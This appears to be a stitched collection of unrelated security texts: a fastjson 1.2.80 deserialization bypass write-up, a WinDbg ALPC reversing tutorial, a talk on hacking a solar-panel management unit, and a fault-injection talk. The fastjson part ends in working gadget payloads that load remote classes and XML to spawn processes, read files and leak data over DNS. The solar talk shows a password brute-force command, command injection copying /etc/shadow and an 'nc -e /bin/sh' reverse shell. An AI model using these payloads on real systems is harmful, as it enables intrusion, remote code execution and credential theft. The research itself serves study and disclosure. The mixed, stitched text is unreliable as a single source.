并且最终都会将type和deserializer的对应关系put到⾃身的deserializers map中 com.alibaba.fastjson.parser.ParserConfig#putDeserializer
拿到对应的反序列化器之后进⼊ com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
2022/9/27 19:20
Markdoc Preview
about:blank
6/12
先createException通过构造函数创建异常实例,然后通过getDeserializer拿到对应的反序列化器,然后⽤反序列化器拿到对应字段的字段反序列化实例FieldDeserializer
如果value不是fieldClass类型的会进
⼊ com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.reflect.Type, com.alibaba.fastjson.parser.ParserConfig) 进⾏类型转
换
多次判断之后会进
⼊ com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)
2022/9/27 19:20
Markdoc Preview
about:blank
7/12
在这个函数中会根据传⼊对象的具体类型来进⾏对应的类型转换操作,因为我们传⼊的是 "clazz":{} 也就是⼀个JSONObject,所以⾛到Map的类型转换,进⼊
com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastj
在这⾥⼜⼀次进⼊getDeserializer,⽽此时参数是MyException类clazz字段的类型,即MyClass。
那么重点来了,此时在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 函数中
调⽤⾃身putDeserializer函数,填充ParserConfig⾃身的 this.deserializers.put(type, deserializer)
⽽在 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int) 中
2022/9/27 19:20
Markdoc Preview
about:blank
8/12
在反序列化json中的b标签时,对 "@type":"MyClass" 进⾏checkAutoType时就能拿到MyClass类⽽不会抛出异常了。
到此分析结束。捋⼀下思路,根据异常类作为期望类时,会先⽤构造函数创建出MyException实例,然后绑定对应字段,调⽤setter。⽽字段类型MyClass在进⼊
getDeserializer函数时会被put到ParserConfig的deserializers列表中,这样造成在checkautotype时可以通过deserializers拿到对应的MyClass类⽽不会为null。
类字段如此,构造函数的参数和setter的参数应该也是⼤差不差。
修复
1. https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
2. https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15
除了⿊⽩名单的变化以外就是直接端掉异常类这条路。
并且在加类缓存时多了⼀次autotype判断
2022/9/27 19:20
Markdoc Preview
about:blank
9/12
gadget
整理⼀下poc,⼀些探测版本、探测依赖什么的懒得弄了。
groovy
依赖groovy
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}
META-INF/services/org.codehaus.groovy.transform.ASTTransformation ⽂件中写Evil,然后创建⼀个Evil类写⾃⼰的命令执⾏代码。
jdbc
依赖jython+postgresql+spring-context
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
2022/9/27 19:20
Markdoc Preview
about:blank
10/12
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
aspectj
分三次打
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
2022/9/27 19:20
Markdoc Preview
about:blank
11/12
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
回显可以⽤报错或者dnslog,只改第三部分的payload为
2022/9/27 19:20
Markdoc Preview
about:blank
12/12
{
"@type":"java.lang.Character"
{
"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
dnslog win平台下我没成功
{ "a":
{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.int
ernal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":
{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"
{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}
su18整理了很多payload在他的GitHub上,放个链接在这
参考
1. 《Hacking JSON》
2. https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
3. https://moonsec.top/articles/112
4. https://github.com/su18/hack-fastjson-1.2.80 | pdf |
Debugging and Reversing ALPC
Contents:
Introduction & Disclaimer
Environment Preparation
Getting Off The Ground
From User to Kernel Land
Hunting An ALPC Object
Introduction & Disclaimer
This post is an addendum to my journey to discover and verify the internals of ALPC, which I’ve
documented in Offensive Windows IPC Internals 3: ALPC. While preparing this blog I figured a
second post, explaining the debugging steps I took to verify and discover ALPC behaviour, could
be useful to all of us that are beginners in the field of reverse engineering and/or debugging.
While I’ve certainly used the techniques and methods shown in this post below, these where not
my only resources and tools to dive into ALPC. Even implying this would undermine the important
and major work of other researchers that have documented and reversed ALPC internals in the
past, like Alex Ionescu and many others. Hence this disclaimer.
TL;DR: The techniques below are practical and useful, but I was only able to apply them due to the
work of others.
Another important disclaimer is: I am - by no means - an experienced reverse engineer and this
blog post is not meant to be an introduction into ‘how to become a reverse engineer’ or show a
smart way to get in this field. This is a ‘use Windows debugging to stumble into a topic and
make your way to look around’ post.
Environment Preparation
In order to follow the steps shown below you want to set up a kernel debugging environment. If
you already have a kernel debugging environment set up, feel free to skip to section Getting Off
The Ground. If you don’t, you’ve got two basic choices for this setup:
Local live kernel debugging
Remote kernel debugging
Although the local kernel debugging option only requires a single test machine (virtual VM) and
only a single command and a reboot to set you up, I nevertheless recommend starting two
machines (VMs) and set up for remote debugging. The reason for this is that local live kernel
debugging comes with some constrains and you can’t use the full debugging feature set and can’t
go all routes. I’ll nevertheless include the steps to set up local kernel debugging as well, in case
you only have a single machine at hand in your test environment.
Setup local kernel debugging
The following steps needs to be done:
1. Start up your testing machine or VM
Local Kernel Debugging with WinDbg
2. If you do not already have WinDbg installed, download and install the WindowsSDK from
here to install WinDbg.
Alternatively you can also use the WinDbg Preview from the Windows Store App.
3. Open up PowerShell with administrative privileges and run the following command to enable
local kernel debugging: PS:> bcdedit /debug on & bcdedit /dbgsettings local
4. Reboot your machine
5. Open up WinDbg and enter local kernel debugging mode by running the following
command: .\windbg.exe -kl
Alternatively you can also open up the WinDbg GUI, click File » Kernel Debug (Ctrl+K) » Local (Tab) »
Ok
A note about the customized layout shown above
In my case I like to have my debugging windows positioned and aligned in a certain way (and also
have the colors mimic a dark theme). You can do all of that by starting WinDbg, open up and
position all Windows the way you like them, change the coloring (if you want) under View » Options
» Colors and finally save all your Workspace setup via File » Save Workspace to File. Once done, you
can open up your local kernel debugging WinDbg with your customized Workspace as follows:
.\windbg.exe -WF <Path-To-File>.WEW -kl
All WinDbg command line switches can be found here
Setup remote kernel debugging
1. Start your first testing machine or VM that you want to debug, this will be referred to as
debuggee machine.
2. If you do not already have kdnet.exe installed, download and install the WindowsSDK from
here to install it.
3. Open up PowerShell with administrative privileges and run the following command: cd
"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\\" && .\kdnet.exe
<DEBUGER-IP> <RandomHighPortNumber>'
I usually use *51111 as port number. This command will give you command line instructions
to use from your debugger, see step 6.*
4. Start your second testing machine or VM that you want to use to debug your first VM, this
will be referred to as debugger machine.
5. If you do not already have WinDbg installed, download and install the WindowsSDK from
here to install it.
Alternatively you can also use the WinDbg Preview from the Windows Store App.
6. Run the following command to start WinDbg and attach it to your debuggee machine: cd
"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\" && .\windbg.exe -k
<PASTE-OUTPUT-FROM-kdnet.exe-FROM-YOUR-DEBUGGEE> .
The command to paste from kdnet.exe (Step 3.), will look something like this: net:port=<YOUR-
RANDOM-PORT>,key=....
You will see a prompt indicating that the debugger is set up and is waiting to be connected.
7. Reboot the debuggee machine. Switch back to your debugger machine, which will connect
during the boot process of your debuggee.
You may have noted that I’ve mentioned the WinDbg Preview store app as an alternative to the
classic WinDbg debugger. This preview version is a facelift version of the classic debugger and
comes with quite a different UI experience (including a built-in dark-theme). If you’re looking at a
one-time setup and are not emotionally attached to the old/classic WinDbg I encourage you to try
the WinDbg Preview. The only reason I’m not using it yet is due to the fact that you can’t export
your Workspace setup (window layout), which is a crucial feature for me in my lab (which i rebuild
frequently).
As a result of that I will be using classic WinDbg in the below
Setting up symbols
Once you’ve setup WinDbg the last preparation step you’ll need to take is to setup your debugger
to pull debugging symbols form Microsoft’s official symbol server.
Run the following set of commands within WinDbg to set up symbols:
WinDbg .sympath check
1. Within WinDbg run .sympath to show your current symbol path configuration.
If it looks similar to the below, which specifies that you want your symbols to be loaded from
Microsoft’s symbol server and cache those in C:\Symbols, you’re good to go…
2. If your output does not look like this and you simply want to pull all your symbols from
Microsoft’s official symbol server, run the following command within WinDbg: .sympath
srv*https://msdl.microsoft.com/download/symbols
More about symbol servers, caching and the how & why can be found in Microsoft’s
documentation page here.
Getting Off The Ground
Let’s say we know nothing at all about ALPC and want to start digging and understanding how
ALPC works under the hood. As ALPC is undocumented we cannot start our journey by sticking
our head into Microsoft’s rich documentation catalogues, but instead we have to a apply a
methodology that is based on a loop of reversing, making assumptions, testing assumptions and
verification/falsification of assumptions to finally build our picture of ALPC.
Listing ALPC functions
Alright, if we do not know anything about a technology beside its name (ALPC), we can firing up
our WinDbg kernel debugger and start to get some information about it by resolving function calls
that contain the name “ALPC” - this might not be the smartest starting point, but that doesn’t
matter, we start somewhere and make our way…
The WinDbg command we need for this is: kd:> x *!*Alpc*
This command will resolve function names of the following pattern [ModuleName]!
[FunctionName] , where we can use wildcards (‘*’) for both the module and function names. In
this case that means we’re resolving all functions that contain the word “Alpc” in their names
within all loaded modules.
In case it’s your first time with WinDbg (or you’re like me and tend to forget what certain
commands mean), you can always use WinDbg’s help menu to lookup a command via: kd:> .hh
[Command] , as shown below:
WinDbg's help menu
WinDbg .sympath command
WinDbg's 'Break' command
Example of function naming convenction in Windows
Side note: Although the command you’ve entered is pre-selected you actually have to click the ‘Display’
button. Another option is to lookup the Debugger commands online here.
If you get an error saying that that something could not be resolved, you likely do not have your
symbol path set up. Ensure you have your symbols either stored locally or pulling from https://ms
dl.microsoft.com/download/symbols (or both). You can check your sympath with: .sympath
If you have your symbol path setup correctly, you’ll receive a good amount of results showing all
sorts of functions that contain the name “ALPC”. If things take too long (because you made a typo,
or things can’t be resolved or any other problem occurs) you can always hit + or open the Debug
menu and click Break to stop the current action:
From here you should copy all the resolved functions into an editor of your choice (I use
VisualStudio Code) and sort these by name to get a feeling for which Alpc functions exists in which
modules and may belong to which components. The strong naming convention applied to the
Windows codebase will help you a lot here, so let’s have a look at this:
To make this more readable:
Sorted ALPC functions
Looking only at this very first resolved function call we can make the assumption that this function
is a private function within the ThreadPool component within ntdll.dll, which likely does some
allocation of some memory for something.
Applying this knowledge to all listed functions, we can sort and organize the resolved functions to
create a rough picture of where (in the codebase) these are implemented:
The value of this step is not being a 100 percent accurate or getting a label assigned to each
function, but instead create a rough mapping of which parts of the OS are concerned with ALPC
and which of these modules and function names sound familiar and which don’t.
From here on we can drill down into modules that sound familiar (or interesting) to us. For
example we have spotted the ntdll module, which we know is the userland border gateway for
calling native system (kernel) services (functions). So we can assume that Windows allows
userland processes to call certain ALPC functions, which comes down the the assumption of
“ALPC is usable from userland applications”.
Looking only at “*Alpc*” functions inside the ntdll module we can find that there are 4 types of
functions:
No-component functions, e.g.: ntdll!AlpcRegisterCompletionList
Nt-component functions, e.g.: ntdll!NtAlpcCreateResourceReserve
Zw-component functions, e.g.: ntdll!ZwAlpcCreateResourceReserve
Tp-Component functiosn, e.g.: ntdll!TppAllocAlpcCompletion
As the Nt and Zw functions are meant to call the same kernel functions (see here, here and here
for why they exist), we can safely ignore one them, so we’ll cut off the Zw functions. I myself am
not too familiar with the thread pool manager, so I’ll drop the Tp functions as well, which leaves us
with a much smaller set of potentially interesting functions:
00007ff9`49498c54 >> The function address
ntdll >> The module name ("ntddl" in this case)
! >> The seperator
Tp >> Abbreviation of the component ("Thread Pool" in this
case)
p >> Abbreviation of the function type ("private")
AllocAlpcCompletion >> Descriptive name of the functions
Sample selection of ALPC function
Selected function: NTAlpcCreatePort
Once again the goal here is not to select a specific set of functions, but instead just making a selection
based on something. It’s always a good idea to select things you know or that sound familiar and cycle
down a learning path from there…
The upper list of the no-component ALPC functions does have a lot of function names containing
the words “CompletionList”, which might or might not sound familiar to you. The bottom list of Nt
ALPC functions on the other hand appears quite heterogeny and based on the Nt component
naming convention I would assume that these functions are meant to be gateway functions from
user-land to kernel-land. We’ve drilled down this far so let’s take one these functions and start the
reversing job.
There is no right and wrong in picking one, you can be lucky and pick a function that is meant to
be used during the early stage of an ALPC setup, which has further hints on how to use ALPC, or
one might unknowingly pick a function that is only meant for special ALPC scenarios… the joy of
undocumented stuff…
At this point we can’t know which function is a good starting point, so let’s choose one that at least
sounds like its meant to be used at the start of a process, like something with Create in its name:
I obviously already know that this function is going to be useful, so forgive me the “let’s pick something
randomly”-dance.
NtAlpcCreatePort in Ghidra
NtAlpcCreatePort in Ghidra with assembly code
From User to Kernel Land
Let’s fire up Ghidra and have a look at the NtAlpcCreatePort function within ntdll.dll :
Ok… this is not increadibly helpful… and also looks odd. A syscall is made with no arguments and
the function then returns the integer 0x79…
Double checking this decompiled code with the actual instructions displayed right next to the
decompiled window, does show a different picture:
The actual code instructions show that the integer value 0x79 is moved into EAX and then the
syscall is made. Quickly double checking this with IDA Free to be sure:
NtAlpcCreatePort in IDA Free
Yep, okay that makes more sense. First take away here is: Ghidra is a really great tool, the
decompilation feature can be flaky (even for simple functions), but on the other hand: Automated
decompilation is a massive feature that is handed out for free here, so no hard feelings about
some errors and manual double checking effort.
We figured the NtAlpcCreatePort function within ntdll.dll is pretty much calling into kernel
mode right away using the syscall number 0x79 (121 in decimal).
From here we got three options to continue:
Head to the kernel straight away and look for a function with a similar name and hope that
we get the right one (ntdll and kernel function names are often very similar) - This is the least
reliable method.
Lookup the syscall number (0x79) online to find the corresponding kernel function.
Manually step through the process of getting and resolving the syscall number on your host
system - This is the most reliable method.
Let’s skip lazy option 1 (least reliable) and check out options two and three.
Lookup Syscall number online
One of the best (and most known) resources to lookup syscall numbers is https://j00ru.vexillium.o
rg/syscalls/nt/64/ (x86 syscalls can be found here).
Syscall reference from https://j00ru.vexillium.org/syscalls/nt/64/
For my Windows 10 20H2 system this great online resource directly points me to a kernel function
named “NtAlpcCreatePort”.
Stepping through the syscall manually
I’ve learned and applied the process from www.ired.team, all credits and kudos go to ired.team !
We can use WinDbg to manually extract the corresponding kernel function from our debugged
host systems. There are 6 steps involved here:
1. Setting a breakpoint in ntdll at ntdll!NtAlpcCreatePort to jump into the function. This can
be done through the following WinDbg command:
kd:> bp ntdll!NtAlpcCreatePort
List breakpoints in WinDbg
2. Verify our breakpoint is set correctly, via: kd:> bl
3. Let the debuggee run until this breakpoint in ntdll is hit: kd:> g
Disassembled syscall in WinDbg
4. Ensure we are at the correct location and have the syscall right ahead: kd:> u .
(unassemble the next following instructions)
5. Lookup the offset in the SSDT (System Service Descriptor Table) for the syscall number, 0x79:
kd:> dd /c1 kiservicetable+4*0x79 L1
6. Checking the address of the syscall function using the SSDT offset: kd:> u kiservicetable
+ (02b62100>>>4) L1
All these steps can be found in the screenshot below:
Dispatching a syscall in WinDbg
NtAlpcCreatePort in IDA Free
Using either of these three methods we would have come to the result that
ntdll!NtAlpcCreatePort calls into the kernel at nt!NtAlpcCreatePort
Hunting An ALPC Object
Now we’ve figured that we end up calling the kernel in nt!NtAlpcCreatePort , so let’s have a look
at this.
We can fire up IDA Free (Ghidra would’ve been just as fine), open up ntoskrnl.exe from our system
directory, e.g. C:\Windows\System32\ntoskrnl.exe, load Microsoft’s public symbols, and we should
be able to find the function call NtAlpcCreatePort . From there on we can browse through the
functions that are called to get a first idea of what’s going on under the hood for this call.
Following the first few function calls will route us to a call to ObCreateObjectEx , which is an
ObjectManager (Ob) function call to create a kernel object. That sounds like our ALPC object is
created here and IDA also tells us what type of object that is, two lines above the marked call in
the window on the right, a AlpcPortObjectType . At this point I’d like to try to get a hold of such
an object to get a better understanding and insight of what this actually is. As the function
ObCreateObjectEx will create the object the plan here is to switch back to WinDbg and set a
breakpoint right after this call to find and inspect the created object.
NtAlpcpCreatePort breakpoint in WinDbg
ALPC port object in WinDbg
After placing this breakpoint we hit g to let WinDbg run and once it hits we check if we can find
the created object being referenced somewhere. The reliable method for this is to follow the
object creation process in ObCreateObjectEx and track where the object is stored once the
function finishes (the less reliable option is to check the common registers and the stack after the
function finishes).
In this case we can find the created ALPC object in the RCX register once we hit our breakpoint.
Sweet we found a newly created ALPC port object. At this point the !object command can tell us
the type of the object, the location of its header and its name, but it can’t add additional detail for
this object, because it does not now its internal structure. We do not know either, but we could
check if there is a matching public structure inside the kernel that we can resolve. We’ll try that
with kd:> dt nt!*Alpc*Port …
Resolved _ALPC_PORT structure in WinDbg
Applied _ALPC_PORT structure in WinDbg
We once again used wildcards combined with the information we obtained so far, which are:
We’re looking for a structure inside the kernel module (nt) and we’re looking for a structure that
matches an object that we knew is of type AlpcPortObjectType. The naming convention in Windows
often names structures with a leading underscore and all capital letters. The first hit
ntkrnlmp!_ALPC_PORT looks like a promising match, so let’s stuff our captured ALPC port object
in this structure:
That does indeed look like a match, however some attributes, that one would expect to be set, are
empty, for example the “OwnerProcess” attribute. Before we throw our match in the bin, let’s
remember we’re still in the breakpoint right after ObCreateObjectEx , so the object has just been
created. Walking back through functions we’ve traversed in IDA, we can find that there are a
couple more functions to be called within the AlpcpCreateConnectionPort function, such as
AlpcpInitializePort , AlpcpValidateAndSetPortAttributes and others. Sounds like there is
more to come that we want to catch.
Right now, we’re in some process that created an ALPC port (so far we didn’t even bother to check
which process that is) and we want to jump to a code location after all the initialization functions
are completed and check what our ALPC port structure looks like then, so here’s a rundown of
what we want we want to do:
1. We want to note down the address of our ALPC object for later reference.
2. We want to find the end of the AlpcpCreateConnectionPort function.
3. We want to jump to this location within the same process that we currently are in,
4. We want to load our noted ALPC object into the ntkrnlmp!_ALPC_PORT structure to see what
it looks like.
And here’s how to do that…
Noting down the ALPC Port object reference
1. Noting down the ALPC object address… Done: ffffac0e27ab96e0
Finding the end of the AlpcpCreateConnectionPort function
2. Finding the end of AlpcpCreateConnectionPort … Done jumping to 0xfffff803733823c9
3. Jump to this address within the same process can be done using this command kd:> bp /p
@$proc fffff803733823c9
Note: I’m also checking in which process I am before and after the call just to be on the safe side
Jumping to the located address
Re-applied _ALPC_PORT structure in WinDbg
4. Check ALPC Objet structure again…
That looks more complete and we could walk through an all setup ALPC object from here as easy
as using the links provided by WinDbg to inspect what other structures and references are linked
to this object.
Just for the sake of providing an example and to double confirm that this ALPC Port object is
indeed owned by the svchost.exe process that we identified above, we can inspect the _EPROCESS
structure that is shown at ntkrnlmp!_ALPC_PORT + 0x18 :
_EPROCESS structure of the owning process in WinDbg
_SECURITY_QUALITY_OF_SERVICE structure of the identified ALPC port object in WinDbg
We find the ImageFileName of the owning process of the ALPC object that we’ve caught to be
“svchost.exe”, which matches with the process we’re currently in.
At this point we’ve found an all setup ALPC port object that we could further dissect in WinDbg to
explore other attributes of this kernel object. I’m not going any deeper here at this point, but if
you got hooked on digging deeper feel free to continue the exploration tour.
If you’re following this path, you might want to explore the ALPC port attributes assigned to the
port object you found, which are tracked in the nt!_ALPC_PORT_ATTRIBUTES structure at
nt!_ALPC_PORT + 0x100 to check the Quality of Service (QOS) attribute assigned to this object
( nt!_ALPC_PORT + 0x100 + 0x04 ).
If you found an ALPC port object with an (QOS) impersonation level above SecurityIdentification,
you might have found an interesting target for an impersonation attack, detailed in my previous
post Offensive Windows IPC Internals 3: ALPC.
In this case, it’s only SecurityAnonymous, well…
By now you should be all set up to explore and dig into ALPC. The first steps are obviously going
to be slow and you (and I) will take a few wrong turns, but that is part of everyone’s learning
experience.
If I could add a last note to aid in getting on a joyful ride it’s this: I personally enjoy reading good
old, paperback books, to learn, dig deeper and to improve my skillset with Windows internals. If
you are of similar kind, you might as well enjoy these book references (if you not already have
them on your desk):
Windows Internals Part 1
Windows Internals Part 2
Inside Windows Debugging
Windows Kernel Programming
There already is a published 1st edition of this, but if you want the latest and greates you might
want to wait for @zodiacon’s new release.
… Enjoy your ride ;) … | pdf |
All Your Solar Panels
are belong to Me
FRED BRET-MOUNET
Who am I?
• Disclaimer:
•
This presentation is based on
information I gathered through my
research. It is full of omissions and
inaccuracies due to my own lack of
knowlege and incompetency.
•
This research has performed on my
(extensive) spare time. My
employer has nothing to do with
this content.
• WarGames (1983) – the
first movie about a
hacker?
“A hacker is one who
enjoys the intellectual
challenge of
creatively overcoming
limitations of
software systems to
achieve novel and
clever outcomes.”
Gehring, Verna (2004). The Internet
In Public Life.
This is the topic
of today!
Tigo Energy ® Maximizer™ Management
Unit
• (Remotely) Manages individual Solar Panels through Bluetooth.
• In emergency conditions, can (remotely) disable the array by
shutting down individual solar panels.
• Reports performance back to the
Cloud.
Tigo Energy ® Maximizer™ Management
Unit
• (Remotely) Manages individual Solar Panels through Bluetooth.
• In emergency conditions, can (remotely) disable the array by
shutting down individual solar panels.
• Reports performance back to the
Cloud.
• Can be used for performance SLAs…
Tigo Energy ® Maximizer™ Management
Unit
• (Remotely) Manages individual Solar Panels through Bluetooth.
• In emergency conditions, can (remotely) disable the array by
shutting down individual solar panels.
• Reports performance back to the
Cloud.
• Can be used for performance SLAs…
Where it started…
Attack Surfaces - Logical
• Open Access Point
• httpd
• Dns
• Ssh
• Serial to tcp
• Dhcp
• Unknown UDP 5002
Attack Surfaces - Physical
• uBoot
• Console
• Rs-489
• USB host
• Emergency Button
Open Access Point
• Thanks https://wigle.net/ !
• Located 160+ out of ~1000 with 24/7
open AP.
• 10000+ with limited window of
opportunity for open AP.
Open Access Point
httpd
•All’s lost!
httpd
•Not really!
•Hydra to the rescue:
•hydra -l admin –P rockyou.txt -v http://192.168.1.10:80/
httpd
•Not really!
•36 hours later:
Admin/Support
httpd
• One page caught my attention!
• And another one (that I had to play with a little):
http://192.168.1.2/cgi-bin/network?host=TIGO2;
cp%20%2Fetc%2Fshadow%20%20%2Fmnt%2Fffs%2Fvar%2Flmu
dcd.foreign_lmus
httpd
• One page caught my attention!
• And another one (that I had to play with a little):
http://192.168.1.2/cgi-bin/network?host=TIGO2; cp /etc/shadow
/mnt/ffs/var/lmudcd.foreign_lmus
httpd
• Kick off John The Ripper & HashCat… but I gave up!
• Why spend energy bruteforcing when I have a shell?!
httpd
• NetCat to the rescue ( provided courtesy of the vendor J)
http://192.168.1.129/cgi-bin/network?host=TIGO2;nc -e /bin/sh 192.168.1.135
9999
• Ps –all:
• 17406 root 0:00 httpd -h /mnt/ffs/www -c /mnt/ffs/etc/httpd.conf -r TigoEnergy
Management Unit
• Now just add yourself after some mount kung fu…
httpd
Hint: Audience applauds now!
What’s next?
• Look around!
• Something caught my attention in the running processes:
3260 root 0:02 openvpn--config supporttcp.conf–syslog
• Yes, the device on my network has a permanent VPN
tunnel back to the Vendor.
• Not mentioned in any Terms of Use or documentation…
Vendor response
Vendor response
•A dozen emails asking for patience later…
Vendor response
•OMG… I can see my future...
Vendor response
• Then this:
Vendor response
• Recognize
the attached
picture?
• That
worked!
• 2 months
SLA not
atypical…
Vendor response
•Remember the VPN tunnel?
•Within the hour,
•Open AP shut down
•User removed
•httpd shut down
•But… I was not done helping L
Vendor response
•I have a developer build part of about ~1000 that
were accidentally shipped.
• No Way! I bought an off the shelf solution trusting I
was getting what I paid for.
•How does this change everything?
• Not much.
• No VPN backdoor. To be confirmed.
• Open AP window of opportunity dramatically narrowed.
What the Vendor did well!
•Once I had the communication channels open, they
welcomed my research.
•uBoot custom build with password protection.
•Apparently unique OpenVPN key.
•Log shipping.
•Shipping a replacement device to all affected
customer.
Why is all this important?
• No need to blow up a power plant. I could have shut down a
large amount of solar generation.
• Remote control of a network device on your home network.
• Spying
• Botnet
• Anonymizer
• …
• In today’s world of IoT, security is every manufacturer’s
problem.
Takeaway
•My biggest lessons:
• The dozen or so IoT devices I use are now on a
segmented & firewalled network.
• Do not reach out to the vendor too soon!
•Responsible disclosure is hard… but it’s the
only way to go.
Credits
• First & foremost my wonderful Wife … Merci Mon Amour
pour ton soutien inconditionnel.
• My son, Raphael for showing interest in my Craft.
• Maxym @ Tigo for his support!
• Tigo, for not suing me.
• Defcon team for their invaluable support.
• Paul, friends and colleagues for their review and guidance. | pdf |
设备
皆有
故障!
全⾯面沦陷:噪声攻击与IOT设备的
10+年年战争
⽬目录
概述
FI 的发展和现状
FI的实际应⽤用
FI的预防
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf(tmp);
return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf(tmp);
return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf("%s",tmp);
return result;
}
它现在是否
安全?
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf("%s",tmp);
return result;
}
它现在是否
安全?
我是谁?
示例
故障注入攻击
电压故障
5.5V
100 ms
1.8V
5.5V
100 ms
1.8V
电压故障
5.5V
100 ms
1.8V
5.5V
100 ms
1.8V
故障!
故障!
FI如何工作?
+5V
CPU
GND
SRAM
CU
ALU
CACHE
…
…
FI如何工作?
CU
ALU
CACHE
FI如何工作?
CU
ALU
CACHE
FI如何工作?
CU
ALU
CACHE
FI如何工作?
CU
ALU
CACHE
FI如何工作?
CU
ALU
CACHE
故障!
设备失灵
位翻转
CMP R0,R1
BNE ERROR
...
跳过/破坏指令
故障的影响
阻碍读/写
1
1
0
0
位翻转
0
0
0
1
0
1
1 → 0
1
0
1
0
0
0
1
1
位翻转
0
0
0 → 1
跳过/破坏指令
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
